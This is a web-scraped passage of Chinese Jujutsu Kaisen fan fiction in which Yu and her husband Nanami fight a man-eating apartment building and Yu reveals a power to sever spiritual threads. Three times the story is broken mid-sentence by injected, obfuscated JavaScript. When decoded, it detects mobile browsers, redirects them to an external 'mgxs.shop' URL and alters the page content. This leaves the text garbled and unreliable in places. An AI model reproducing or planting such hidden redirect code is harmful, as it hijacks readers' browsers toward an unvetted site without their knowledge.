她用力拧门把手——门锁着。 “顺平,开门!”她的声音开始发抖。 还是没有任何声音。 悠转身跑向书房:“七海海!” 七海已经站在书房门口。 他没有说话,直接走到洗手间门前,用力一拧——门锁发出不堪重负的嘎吱声,但没有开。 七海后退一步,抬脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154068|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备踹门。 但就在这时,门自己开了。 顺平站在洗手间里,脸色惨白如纸。 他站在洗手台前,眼睛直勾勾地盯着镜子。 校服衬衫被汗水浸湿,贴在身上,整个人在微微发抖。 “顺平?”悠快步走过去,“你没事吧?” 顺平缓缓转过头,看着她和七海。 他的眼神空洞,像是看到了什么无法理解的东西。 “……镜子。”他轻声说,声音嘶哑,“镜子里面……有东西在动。” 七海立刻走进洗手间,挡在顺平和镜子之间。 他看了一眼镜子——镜子表面覆盖着一层淡淡的黑色咒力残秽。 那些残秽像雾气一样在镜面上流动,形成模糊的图案——一张张扭曲的人脸。 “别想镜子。”七海说,声音低沉而严厉,“顺平,看着我的眼睛。” 顺平机械地转过头,看着七海。 他的瞳孔在扩散,眼神涣散。 “他中招了。”七海对悠说,“这东西很狡猾,我甚至没察觉到咒力波动。顺平被咒力影响了。悠,你带他去客厅,给他喝点热水。不要让他再接触任何反光的表面——镜子,窗户,甚至电视屏幕。” 悠点点头,扶着顺平走出洗手间。顺平的身体很僵硬,走路时脚步虚浮,像是随时会倒下。 七海留在洗手间里。 悠听见他念诵着什么。 应该是咒文,净化、驱散那些残留的咒力。 悠扶着顺平在沙发上坐下,给他倒了杯热水。 顺平机械地接过杯子,但没有喝,只是盯着杯子里晃动的水面。 “……他在水里。”顺平忽然说,声音很轻。 “糟了!”悠连忙把茶杯扔到一旁。 “那个孩子。”顺平抬起头,看着悠,眼神里充满了恐惧,“他在所有的水里。镜子里,窗户上,杯子里……他在看着我们。一直看着。” 七海从洗手间走出来,脸色比刚才更加严肃。 “悠,顺平需要离开这里。”他说,语气凝重,“现在。” “那我送他……” “我和你一起。”七海掏出咒具,“这个东西不是咒灵,公寓是活的。每多待一分钟,顺平就更危险一分。” 少年坐在沙发上,双手紧紧握着水杯,指节泛白。 “快。”悠点头,“我们送他回家。” “悠,跟紧我”七海说,“不能落单。” 21. 危机四伏 三人走出606。 走廊里的灯光开始闪烁。 亮一秒,暗两秒,再亮一秒,暗两秒。 在灯光暗下的瞬间,悠眼角的余光瞥见,走廊的阴影里有什么东西在移动——不止一个,很多个,矮小的,扭曲的,贴着墙根爬行。 她紧紧握住顺平的手。 少年的手冰冷而潮湿,像刚从水里捞出来。 电梯门打开时,里面空无一‘人’。 但电梯的角落里蹲着一个模糊的影子,头埋在膝盖里,肩膀在微微抽动,像是在哭。 七海先一步走进电梯,站在那个影子和顺平之间。 他没有看影子,但悠能感觉到他身上的咒力在流动——金色的,温暖的,像一道无形的屏障。 电梯开始下行。数字从6变成5,变成4…… 但在3楼时,电梯忽然停住了。 不是到达三楼,而是卡在了三楼和二楼之间。 电梯里的灯光闪烁了几下,然后彻底熄灭。 黑暗中,悠能听见顺平急促的呼吸声。 还有别的声音——很轻的,像是指甲在金属内壁上刮擦的声音。 “七海海……”悠低声说。 “别怕。”七海的声音在黑暗中响起,平静而坚定,“只是小把戏。” 她听见七海在黑暗中动了动,然后有什么东西被拔出的声音——轻微的金属摩擦声。 是那把铊刀。 刹那间,电梯里的灯光重新亮起。 那个蹲在角落里的影子消失了。 刮擦声也停止了。 电梯继续下行,顺利到达一楼。 门打开时,外面的日光显得格外刺眼。 悠扶着顺平走出电梯,七海跟在后面,铊刀已经重新收好。 公寓楼外,阳光明媚。 但从外面看去,大楼的每一扇窗户里,都有眼睛在盯着他们——贪婪的,充满恶意的视线。 他们加快脚步,带着顺平走出社区大门。 “七海海。”她小声说,“它们……在看我们。” “我知道。”七海说,没有回头,“别停下,别回头。” 来到大路上。 车流的声音,行人的说话声,商店的音乐声——这些普通的生活噪音此刻显得如此珍贵,如此安全。 直到他们来到顺平家所在的公寓楼前,悠才稍微松了口气。 “顺平,你还好吗?”她看着侄子苍白的脸。 顺平点点头,但眼神依然涣散:“……谢谢小姨,七海姨夫。” “今天的事……”悠斟酌着措辞,“不要担心,感觉不舒服随时打电话给我和姨夫好吗?” 顺平缓了一会儿,然后点头:“……好。” “接下来的事就交给大人们了,如果再做噩梦,立刻给我打电话。”悠认真地说,“任何时候都可以。” 顺平又点了点头,然后转身走向公寓楼。 他的背影看起来那么瘦小,那么脆弱。 悠看着他消失在楼道里,心中涌起强烈的无力感。 她转过身,看着七海:“七海海,顺平他会没事吗?” 七海的表情很严肃,头疼的捂住了额头“暂时会。但公寓‘标记’他了。就像野兽记住了猎物的气味,它们不会轻易放弃。” “那我们怎么办?” “悠,有我在”七海推了推眼镜,镜片后的蓝眼睛里闪过一丝冷光:“我要找出这个公寓的真相。它到底是什么,为什么会这样,还有……怎样才能让它安静下来。” 他顿了顿,继续说:“今晚,我去公寓地下室看看。公寓里咒力最强的点,不在楼上,而在下面。” 悠的心脏猛地一跳“我也去。” “不行。”七海立刻说,“太危险了。” “七海海,但我能‘看见’那些东西。”悠坚持道,“我可以告诉你它们在哪。这对你有帮助,不是吗?” 七海看着她,眼神复杂。 最终,他叹了口气:“悠……你可以跟我一起。但必须答应我,如果我说‘跑’,你要立刻离开,不要回头。” “我答应你。”悠认真地说。 两人走回社区。 夕阳西下,公寓在暮色中投下长长的阴影。 那栋六层建筑此刻像一个蹲伏的巨兽,静静地等待着夜晚的降临。 等待着它的下一顿美餐。 晚上,两人站在公寓的地下室入口前。 厚重的铁门,位于一楼走廊的尽头,平时用大锁锁着,上面挂着“设备间,闲人免入”的牌子。 但此刻,锁已经被打开了——不是撬开的,而是锁芯自己转动,门锁“咔嗒”一声弹开。 公寓在邀请他们进去。 七海推开铁门。 门后是一条向下的水泥楼梯,狭窄而陡峭。 墙壁上装着几盏昏暗的灯泡,但大部分都已经坏了,只有最下面的一盏还亮着,发出惨白的光。 楼梯间里弥漫着一股潮湿的霉味,混合着别的气味——像是铁锈,又像是……腐烂。 悠跟在七海身后,一步步向下走去。 墙壁上布满了暗色的脉络,那些脉络在搏动,在流动,像血管一样向地下室深处延伸。 越往下走,温度越低。 走到楼梯底部,他们来到一个空旷的地下空间。 大约有半个篮球场那么大,地面是粗糙的水泥,墙壁是裸露的红砖。 角落里堆着一些废弃的家具——破沙发,烂椅子,缺腿的桌子。 而在空间的中央,有一个奇怪的东西。 那是一口井。 不是水井,而是用红砖砌成的、直径大约一米的圆形井口。 井口边缘参差不齐,有些砖块已经碎裂。 井口上方盖着一块生锈的铁板,但铁板没有完全盖严,露出一道缝隙。 而从那道缝隙里,正不断涌出暗黑色的雾气。 那些雾气在地面上蔓延,像有生命一样,沿着地面的裂缝,沿着墙壁的砖缝,向上方渗透。 七海走到井边,保持警惕的距离,蹲下身,仔细观察。 悠跟在他身边,透过缝隙看向井口内部。 井看起来很深,深不见底。 但她能透过表面看见井底有什么东西——无数的,纠缠在一起的,暗红色的线。 那些线像血管,像神经,像根系,从井底向四面八方延伸,贯穿整个公寓的地基,向上延伸到每一层楼的墙壁、地板、天花板。 那些线缓慢地,沉重地,像一颗巨大的心脏在跳动。 而在线与线之间,夹着一些别的东西——模糊的,扭曲的,像人影一样的东西。 它们在挣扎,在扭动,但被那些线紧紧缠住,无法逃脱。 悠数了数。 至少二十个。 几十个“人”,被困在这个井底,被那些暗红色的线缠绕、吞噬、消化。 “七海海,这是……”悠的凑到七海耳边小声告诉他自己看到的画面。 “悠,它应该是咒力的源头。”七海低声说,“也是怨气的核心。这口井……可能从一开始就在这里。公寓是建在它上面的。” 他扶着悠起身,看向四周“难怪这栋楼会这样。 它不是‘闹鬼’,它本身就是‘鬼’——一个巨大的,活着的怪异,以整栋建筑为形体。” 悠突然想起外婆笔记里的那句话“有些地方是活着的。它们吃人,不是为了食物,而是为了存在本身。” “那这些……”她指着井里那些被困的人影,“看来…都是被它吃掉的人?” 七海点头“他们的灵魂被困在这里,无法超生。他们的怨气、恐惧、痛苦,都成了这个‘公寓怪异’的养分。它吃下他们,消化他们,然后变得更强大,再去吸引更多的猎物。” 他顿了顿,“健太可能就是最新的一个。2008年失踪,到现在已经八年了。他的灵魂应该还在被消化过程中,所以还能保持一定的独立性,还能和外界沟通。” 悠想起了客厅里那个孩童阴影,想起了它送来的千纸鹤和粉笔,想起了它的警告。 那个孩子,在她和七海搬进来之前,已经在这里被困了八年。 孤独地,痛苦地,被这个公寓慢慢吞噬。 而现在,公寓又饿了。 它想要顺平。 “七海海,我们能救他们吗?”悠声音里带着一丝迷茫。 七海缓缓摇头:“悠,太迟了。大多数已经被消化得差不多了,只剩下一缕残念。即使强行释放,也只会让它们彻底消散,连灵魂都不剩。” “那健太……” “他也许还有机会。”七海说,“但健太灵魂被困得太深了。要救他,需要先削弱这个怪异本身。” 他看向悠,眼神复杂“那就意味着要和它正面对抗。而在这个它占据绝对优势的环境里……” 他没有说完,但悠明白。 在这个公寓里,这个怪异几乎是无敌的。 它的眼睛遍布每一个角落,它的触须延伸到每一块砖。 在这里和它战斗,就像在水里和鲨鱼搏斗。 “那顺平会不会有事?”一想到顺平魂不守舍收到惊吓惨白的状态,悠心里充满了担忧。 七海握住她冰凉的手“先上去,这里太冷了,我们在顺平再次来这里之前,做好准备。或者……不让他再来。” “有道理,七海海,我们还是找个借口别让顺平他卷进来了……” “嗯。”七海握住她的肩膀,小心避开脉络带着她出去 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所有的手都在抓挠,在挥舞,在试图抓住什么。 而所有的声音都在重叠: “救我……” “好痛……” “放我出去……” “不想死……” “不想在这里……” 声音越来越大,越来越混乱。 整个地下室开始震动,墙壁上的砖块簌簌落下,地面裂开一道道缝隙。 从那些缝隙里,涌出了暗红色的液体——粘稠的,冰冷的,散发着腐烂的气味。 “悠,快跑!”七海喊道。 但已经太迟了。 从井口里,那些暗红色的线突然暴起,像触手一样向两人射来,速度飞快。 七海挥刀斩断了悠身边的几根,但更多的线从四面八方涌来。 它们缠住了他的脚踝,他的手臂,试图将他拖向井口。 悠上前帮忙,但一根线缠住了她的腰。 线的力道大得惊人,将她向井口拖去。 “悠!抓紧我”七海目眦尽裂,挣脱了一只手,挥刀斩断缠住悠的线。 就在这个空隙,更多的线缠住了他。 ‘糟了,这家伙一开始目标就是他’线迅速将他整个人包裹起来,像一个暗红色的茧,然后迅速拖向井口。 “七海海!”悠尖叫着扑上去,抓住他身上缠着的线。 线的力道太大了,她和七海一起被拖向那个深不见底的井。 在坠入井口的最后一瞬间,悠看见了井底的全貌—— 那是一个巨大的、搏动的、暗红色的肉块。 肉块的表面布满了血管般的脉络,而在脉络之间,镶嵌着一张张人脸。 那些人脸的眼睛都睁着,空洞地看着上方,嘴巴一张一合,像是在无声地尖叫。 而在肉块的中央,有一个特别清晰的面孔——一个七八岁男孩的脸。那是健太。 男孩的眼睛看着悠,眼神里充满了痛苦,但也有一丝……清醒? 然后,肉块张开了一个口——一个巨大的,布满尖牙的口。 悠和七海被拖向那个口。 在即将被吞噬的瞬间,七海身上的线剧烈涌动。 深蓝色的咒力从里面涌出,像爆炸一样向四周扩散。 缠住他们的线被震断了大半。 摆脱线的七海一把抓住悠,用力将她向上推:“爬出去!快!” 悠抓住井口的边缘,艰难地向上爬。 七海在她下面,用刀斩断不断涌上来的线。 怪物体内肉壁上光滑异常,七海只能不断的挥出铊刀,咒力强行在三七分处制造暴击,线却源源不断。 悠终于爬出井口,她转过身,伸手去拉七海。 看到两个人要逃跑,井底那个肉块发出了震耳欲聋的尖啸。 整个地下室都在剧烈震动,天花板开始坍塌。 一块巨大的水泥块砸下来,正好砸在七海和井口之间。 “七海海!”悠尖叫。 在漫天的灰尘中,她看见七海被重新涌上的线缠住,拖向井底。 然后,铁板“砰”的一声重新盖上。 地下室恢复了平静。 只有满地的暗红色液体,和坍塌的水泥块,证明刚才发生的一切不是噩梦。 悠跪在井边,手按在冰冷的铁板上。 下面没有任何声音。 七海不见了。 被公寓吞掉了。 22. 恶魔之子 十四岁的夏天 阁楼上的女人已经哭了三年。 每天晚上十一点整,哭声准时响起。 从悠房间正上方的阁楼传来——不是嚎啕大哭,而是那种压抑的、断断续续的抽泣。 伴随着缓慢的脚步声,在木地板上拖沓地走着,走三步,停一下,再走三步。 外婆说:“别管她,她走不出去。” 外婆说的“走不出去”,不是指阁楼的门被锁着。 阁楼的门从来不上锁,只是虚掩着。 外婆说,那个女人死的时候,心里有太多话没说出来,太多事没做完。 她的执念把她困在那个时间点上,困在那段走不完的路上。 “可她很吵。”十四岁的悠对外婆说,“我睡不着。” 外婆摸摸她的头“那你就告诉她,你听到了。” “告诉她?” “对,告诉她你听到了。有时候,它们只是需要被听见。” 于是在一个雨夜,当哭声再次响起时,实在忍不了的悠掀开被子,赤脚走上楼梯。 阁楼的门虚掩着,门缝里透出微弱的光。 不是电灯光,而是一种幽绿色的、仿佛磷火般的光。 悠推开门。 阁楼里堆满了旧物——褪色的和服,生锈的缝纫机,积满灰尘的书箱。而在阁楼的中央,站着一个女人。 或者说,一个女人的“影子”。 她穿着昭和初期的碎花和服,背对着门,面向着窗户。 她的身体是半透明的,像水中的倒影,边缘在不停地波动、消散、重组。 她在哭,肩膀轻轻耸动,但没有眼泪——或者说,她的眼泪在落下之前就已经蒸发成光点。 然后是脚步声。 走三步,停一下。走三步,停一下。 她在重复死前最后的路程——从房间中央走到窗前,想看看丈夫是否回来了。 但丈夫永远不会回来了,他在战场上死了,消息昨天刚传到。 所以她永远走不到窗前。 悠站在门口看了很久。 三年了,每天晚上听这个声音,她以为自己会害怕,但此刻心里只有一种烦躁的、淤积的厌倦。 “够了吧。”她终于开口,声音在空旷的阁楼里显得格外清晰。 女人的影子停住了。 “三年了。”悠说,声音平静得不像十四岁的少女,“你哭够了,走够了。他死了,不会回来了。你也死了,该走了。” 影子缓缓转过身。 那是一张很模糊的脸,五官像融化了一样在流动。 但悠能看见她的眼睛——空洞的,痛苦的,被困在永恒那一刻的眼睛。 “我……在等……”影子开口,声音像风吹过破窗纸。 “等不到了。”悠说,“你等的那个人,早就去了别的地方。你在这里等,只会让自己更痛苦。” 女人向前走了一步。 奇怪的是,她并不害怕。 就像看到一只被困在蛛网上的蝴蝶,第一反应不是恐惧,而是想把它弄下来。 “你……”影子看着她,模糊的脸上浮现出一丝困惑,“你能……看见我?” “一直都能看见。”悠说,“不只是你。还有很多别的。只是大多数时候,我假装看不见。” 她走到影子面前,伸出手。 不是去触碰影子——影子没有实体——而是伸向影子心脏的位置。 在那个位置,她突然能“看见”一团纠缠的、黑色的线。 那些线从影子的胸口延伸出去,连接着阁楼的每一个角落,每一件旧物。 那是执念的丝线。 “该放手了。”悠轻声说。 那团线——可以说是更本质的东西。 她也不清楚那是什么,只是本能的想把它捋顺。 线在她的注视下开始震颤,然后一根接一根地断裂。 随着线的断裂,影子的轮廓开始变得清晰。 模糊的五官逐渐稳定,显露出一张清秀的、三十岁左右的女人的脸。 她看着悠,眼神里的痛苦慢慢褪去,取而代之的是一种……释然。 “原来……”女人轻声说,“已经过去这么久了啊。” 她低头看着自己的手,手在渐渐变得透明,变成光点。 “谢谢。”她说,声音很轻,但很清晰。 然后她就消失了。 像晨雾一样散开,光点在空中飘浮了片刻,然后也消失了。 阁楼恢复了寂静。 只有雨声敲打着屋顶。 当时她站在空荡荡的阁楼中央,低头看着线消失的地方。 她感觉到一种奇异的感觉——冰冷,粘稠,但又带着一种悲伤的温度。 从那以后,她再没听到过阁楼的哭声。 外婆什么也没说,只是第二天早餐时,多给了她一颗煮鸡蛋。 —————————————— 地下室的寂静比任何声音都可怕。 悠跪在井边,双手抵在冰冷的铁板上,疯狂撬动。 铁板纹丝不动,像焊死了一样。 下面没有任何声音,没有撞击,没有呼喊,只有一片死寂。 七海被吞掉了。 这个认知像冰锥一样刺穿她的心脏。 她跪在那里,手心仿佛还保留着他的温度。 泪珠滚落,她胃里一阵翻滚。 还有体内某种东西在苏醒在叫嚣。 那是一种……很熟悉的感觉。 就像小时候,在乡下老宅的那个阁楼里。 地下室的记忆像潮水一样退去。 她想起外婆临终前说的话“悠,你不是普通人。你能看见别人看不见的东西,不是诅咒,也不是祝福。那只是……你的本质。就像有的人天生会唱歌,有的人天生会画画,你能看见‘那个世界’。” “但有时候,看见的东西太多了,人会迷失。所以奶奶给你准备了一些东西,放在老宅的箱子里。如果有一天,你觉得自己撑不住了,或者需要力量了,就回去打开它。” 悠一直没回去。 她害怕。 害怕知道真相,害怕知道自己到底是什么。 但现在,七海在下面。 顺平被标记了。 这个公寓在吃人。 她撑不住了。 悠缓缓站起身。 地下室还在轻微震动,墙壁上的裂缝在渗出暗红色的液体。 那些液体在地面上汇聚,流向井口,像是在供养井下的那个东西。 她“看见”从井口延伸出去的脉络,此刻正在剧烈搏动。 整栋公寓像一个被喂食的怪物,发出满足的、低沉的震动。 它在消化七海。 这个念头让悠体内某种东西彻底断裂了。 愤怒到极致不是悲伤,而是一种更冰冷的、更本质的东西——一种“不允许”。 不允许它吃掉七海。 不允许它伤害顺平。 不允许它继续存在。 悠闭上眼睛。 再次睁开时,视野变了。 这次不仅仅是那些暗红色的脉络和阴影。 她看见了这个空间的“结构”——像无数层透明的薄纱叠加在一起,每一层都是一个不同的“世界”。 最表层是物理世界:水泥地面,红砖墙,堆积的旧家具。 下一层是咒力世界:暗红色的脉络,搏动的肉块,被困的灵魂。 但再下一层…… 是“线”的世界。 无数的、细如发丝的线,从每一个存在身上延伸出去,连接着别的东西。 从井口的肉块延伸出去的线最粗,像血管一样连接到公寓的每一处。 从那些被困灵魂身上延伸出去的线,有的已经被肉块同化,变成暗红色;有的还在挣扎,保持着微弱的白光。 而从她自己身上…… 悠低头看自己的身体。从她的心脏位置,延伸出三条线。 一条是金色的,很粗,很坚韧,向上延伸,穿透天花板,不知道通向哪里? 一条是深蓝色的,像夜空,此刻绷得很紧,向下延伸,穿透铁板,伸向井底——那是连接七海的线。 还有一条……是黑色的。 纯粹的、深不见底的黑色。 那条线从她的心脏出发,向下延伸,但不是伸向井底,而是穿透了地面,伸向更深的地方——深到她无法理解的地方。 地狱吗? 悠不知道。 但她能感觉到,那条黑色的线在搏动。 随着她的情绪变化,随着她体内那个“东西”的苏醒,那条线在变粗,在散发出某种……气息。 一种让井下的东西不安的气息。 果然,井口的铁板开始剧烈震动。 “砰!砰!砰!” 比刚才更猛烈。 铁板被撞得变形,边缘翘起,露出下面暗红色的肉块表面。 一个声音从井底传来,不再是健太稚嫩的嗓音,而是一个混合了无数声音的、扭曲的咆哮: “你……是……什么……” 悠没有回答。 她走到井边,蹲下身,手握住翘起的铁板边缘,用力向上抬起。 “把老公还给我。”声音平静得可怕。 井底传来笑声——无数人重叠的笑声,疯狂而饥渴。 “来……了……就……别……想……走……” “都……是……我……的……” “养……分……” 更多的暗红色触须从井口涌出,像蛇一样扑向悠。 悠没有躲。 她伸出手,不是去挡,而是去“抓”。 就像当年在阁楼里抓住那些执念的线一样,她的手穿透了物理现实,直接抓住了那些触须的“本质”。 在她的视野里,那些触须不是肉质,而是由无数细小的、暗红色的线纠缠而成的束。 每一条线都是一段记忆,一份痛苦,一种执念。 悠的手指收紧。 “你只不过是偷走别人幸福的垃圾”她轻声说。 那些线断了。 不是被扯断,而是从“存在”的层面上被抹消了。 就像用橡皮擦擦掉铅笔线,那些暗红色的触须在接触到她手指的瞬间,开始从末端消散,变成黑色的灰烬,飘散在空中。 井底传来痛苦的尖啸。 “不……可……能……” “你……到……底… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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悠的虹膜从深褐色变成了纯粹的黑色——不是瞳孔变大,而是整个虹膜都变成了黑色,像两个深不见底的洞。 而在黑色的深处,有暗红色的光点在旋转。 这是她第一次完全“睁开”这双眼睛。 她看见了每一条线。 从肉块延伸出去的,连接着整个公寓的线——三千七百四十二条。 从被困灵魂延伸出去的,连接着肉块的线——四十六条。 从七海延伸出去的,试图抵抗同化的金色线——十二条,已经断了七条,还剩五条。 还有……从她自己身上延伸出去的那条黑色线。 此刻,那条黑色的线正在主动延伸,像有生命一样,从她的脚底探出,刺入肉块。 肉块发出凄厉的惨叫。 黑色的线在吸收它。 不是吸收咒力,而是吸收它的“存在”。 肉块开始萎缩。 表面的那些人脸发出更加痛苦的尖叫,有的开始崩溃,化作黑烟消散。 但黑线没有停,还在继续吸收。 悠没有理会,急忙跑到七海身边,手按在他胸口。 缠绕他的触须在她的靠近下开始瓦解,从接触点开始,像燃烧的纸一样变成灰烬。 “悠……”七海看着她,眼神里充满了震惊和担忧。 悠知道他在担忧什么。 她现在的样子一定很可怕。 黑色的眼睛,身上散发出非人的气息,脚下肉块在哀嚎中消亡。 但她不在乎。 “七海海,抓紧我,我们一起回家。”她说。 七海艰难地伸出手,抓住悠的手掌。 悠另一只手按在肉块上。 “全部,断开。” 这句话不是用嘴说的,而是用“存在”说的。 刹那间,所有的线——三千七百四十二条连接公寓的线,二十六条连接灵魂的线——全部断了。 不是被切断,而是被“抹消”了存在。 整个地下室陷入一片死寂。 然后,肉块开始崩溃,化作黑色的粉尘,簌簌落下。 那些被困的人脸,一个个露出解脱的表情,然后化作光点,消散在空气中。 只有健太的脸还保持着完整。 他的身体从肉块中分离出来——一个七八岁男孩的半透明身影,漂浮在空中。 他看着悠,又看看七海,然后深深鞠了一躬。 “谢谢你,大姐姐。”他说,声音清晰而稚嫩,“现在我可以……去找妈妈了吗?” 悠点点头,黑色眼睛里的红光慢慢褪去“她在等你。” 健太笑了。 那是孩子纯真的笑容。 然后他的身影也开始变淡,化作光点,向上飘去,穿透天花板,消失不见。 最后一点肉块也化作了黑灰。 井底只剩下一个普通的、干燥的土坑。 公寓与咒灵之间的连接被彻底斩断了。 23. 掉马 悠扶着七海爬出井口。 七海伤的不轻——触须的缠绕在他身上留下了暗红色的勒痕,有些地方已经发黑,伤口渗出红色的液体。 咒力也几乎耗尽,他只能勉强站着。 “悠……”七海看着悠,想说什么,但话到嘴边又咽了回去。 悠的眼睛已经恢复了正常的深褐色。 但七海看见了,刚才那双纯粹的、非人的黑眼。 “七海海,我们回家再说吧。”悠轻声说,扶着他走向楼梯。 楼梯间的灯亮了几盏。 走廊里的灯光也不再闪烁。 整栋公寓给人的感觉……变了。 之前那种无处不在的“注视感”消失了。 墙壁不再起伏,地板不再温热,天花板不再搏动。 公寓“死”了。 或者说,那个寄生在公寓里的怪物死了,公寓变回了一栋普通的建筑。 回到606,悠把七海扶到沙发上,拿来医药箱。 她解开七海衬衫的扣子,露出胸口的伤痕。 那些暗红色的勒痕像烙印一样刻在皮肤上,有些地方已经开始溃烂。 “这是咒力侵蚀。”七海哑声说,“悠,普通的药可能没用。” 悠红着眼睛挑出七海伤口部位扎进去的石子,简单用湿巾擦净。 然后突然想到什么。 她匆忙跑进书房,一顿翻箱倒柜,从杂物箱底层拿出一个小铁盒。 那是外婆临走前给她留下的,她一直没打开用过。 铁盒只有几样东西:一把生锈的钥匙,一张泛黄的照片,还有一个小玻璃瓶,里面装着暗红色粘稠状的液体。 悠拿起玻璃瓶,打开瓶塞。 一股奇异的气味散发出来——像雨后的泥土。 她用手指蘸了一点液体,轻轻涂在七海的伤口上。 没多久,暗红色的勒痕开始变淡,溃烂的地方停止渗出液体,伤口以肉眼可见的速度开始愈合。 七海震惊地看着伤口和那个小玻璃瓶,“悠,这是……能治愈咒力侵蚀的咒物?” “这个是外婆留下的。”悠说,“我听她偶尔说过……咒术师之类的话,而且她说如果有一天我需要‘处理’一些东西,她让我用这里面的东西。” 她继续涂药,动作轻柔。 七海看着她专注的侧脸,心中涌起疑虑。 “悠。”他轻声说,“刚才在地下室……你的眼睛……” 悠的手顿了顿,然后继续涂药。 “我也不知道那是什么。”她诚实地说,“从我有记忆开始,我就能看见那些怪物。不过这次我看到的不是咒灵那些怪物,而是更奇怪的东西……‘线’。连接很多东西的线。是人的执念,是物体的记忆,是地方的怨气……它们都以线的形式在我眼前存在了。” 她把药涂完,盖上玻璃瓶,看向七海。 “小的时候,我偶尔看到过几次,不过都以为是我的幻觉。现在想想,我看到的应该是真的。外婆以前说,我的‘本质’和其他人不同。她说我不是诅咒,也不是祝福,只是一种……‘存在方式’。” 七海心疼地把悠抱到怀中,从小就能看到这些异常,悠该多么无助。 抚摸悠垂在身后的发丝,七海吻住她的眉梢,他说:“在咒术界,有一种很罕见的特质,叫做‘天与咒缚’——天生就带着某种束缚,失去一些东西,得到另一些东西。比如有些人天生没有咒力,但□□强度超乎常人。有些人天生咒力微弱,但能看见未来的片段。” 他看着悠:“你的能力……很像某种天与咒缚。但又不完全一样。” “哪里不一样?” “天与咒缚的‘得到’和‘失去’是平衡的。但你……”七海斟酌着措辞,“你刚才展现的能力,已经超出了‘平衡’的范畴。你能直接抹消咒力的存在,这不是咒术,也不是术式,这是……” “是什么?” “……是规则层面的干涉。”七海缓缓说,“就像修改游戏代码,而不是在游戏规则内操作。” 悠不太明白这些术语,但她听懂了核心意思:她的能力很特殊,特殊到让七海这样的专业咒术师都感到困惑。 “七海海,你会害怕我吗?”她轻声问。 七海愣了一下,眼中带笑,然后摇头“不会。” “为什么?我刚才的样子……很可怕吧?” “是可怕。”七海承认,“但你不是为了伤害而可怕。你是为了保护我而变得可怕。这有本质区别。” “你是我的妻子,”他握住悠的手“而且,我早就知道你不是普通人。从第一次见面,你告诉我你能看见我身上的‘颜色’开始,我就知道。但知道和亲眼看见,还是不一样。” 悠看着他认真的眼睛,心中那块沉重的石头稍微轻了一些。 “那现在…”她问,“公寓的咒灵死了,但那些被它吃掉的人……” “应该都解脱了。”七海说,“包括健太。你说你切断那些线的同时,也解放了他们的灵魂。他们现在应该已经去该去的地方了。” “那顺平,公寓不会再标记他了吧?” “怪物死了,标记自然会消失。”七海说,“但顺平自身的灵感不会消失。他还是能感觉到某些东西。” 悠松了口气。 但随即又想起另一件事“老公,可是,我今天……是不是太冲动了?如果我的能力失控,伤到你怎么办?” “但你控制住了,不是吗?”七海笑着说,“而且,如果你不来,我现在已经被消化掉了。” 他说得轻松,但悠听出了里面的后怕。 窗外天色渐亮,晨光透过窗帘缝隙照进来,在地板上投下金色的光带。 “七海海。”悠忽然说。 “嗯?” “我想回一趟乡下老宅。”悠说,“外婆留下了一个东西,说如果有一天我想……或者想知道真相,就回去打开它。那里面……” 七海点头:“我陪你去。” “可是你的伤……” “已经好多了。”七海活动了一下肩膀,“外婆的药很有效。而且,我不放心你一个人去。” 悠看着他,心中涌起一股暖流。 “七海海,谢谢你。”她轻声说。 “悠,不要和我道谢。”七海说,“我们是夫妻更是家人。” 这句话说得很自然,就像在说今天天气很好。 但悠听出了里面的分量。 家人。 不仅是恋人,是夫妻,更是家人。 是无论发生什么,都会站在彼此身边的关系。 悠的眼睛有些湿润。 她低下头,假装整理医药箱,不让七海看见。 但七海看见了。 他没有说破,只是伸手揉了揉她的头发。 “悠,先去休息吧。”他说,“之后再安排回老家的事。今天……我们都累了。” 悠点点头。 她确实累了。 从精神到身体,都像被掏空了一样。 她站起身,扶着七海走向卧室。 七海坐在床上,低着头,看着自己胸口已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154071|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经愈合大半的伤痕,表情若有所思。 “七海海。”悠轻声说。 七海抬起头。 “不管你发现了什么事,都不要瞒着我,好吗?”悠说,“我想了解你,更想靠近你。” 七海看着她,“我答应你。”然后吻了上去。 ———————————— 烦心的公寓事件悄然结束。 屋外阳光明媚,打进客厅是暖洋洋的太阳味道。 门铃“滋滋”响起时,七海刚结束一个跨国视频会议。 他摘下防蓝光眼镜,头疼地揉了揉眉心起身——金融市场的波动比咒灵更难预测,至少咒灵的行为模式还有几分规律可循,更糟心的是打破平静的家伙正在门外。 从猫眼看到伊地知洁高拘谨的脸时,七海几不可察地叹了口气。 果然该来的总会来。 “七海前辈,打扰了。”伊地知鞠躬的角度比三年前更低了,这个后辈在窗的工作显然没有让他变得更从容。 “进来说吧。”七海侧身让开,瞥了一眼墙上的时钟——上午十点二十,悠应该正在工作室画稿,通常这个时间不会出来。 伊地知小心翼翼地走进客厅,目光在简约的北欧风格家具上扫过,不经意的一撇,最后落在书房半开的门上。 他看见里面专业的双显示屏和堆积如山的金融报告。 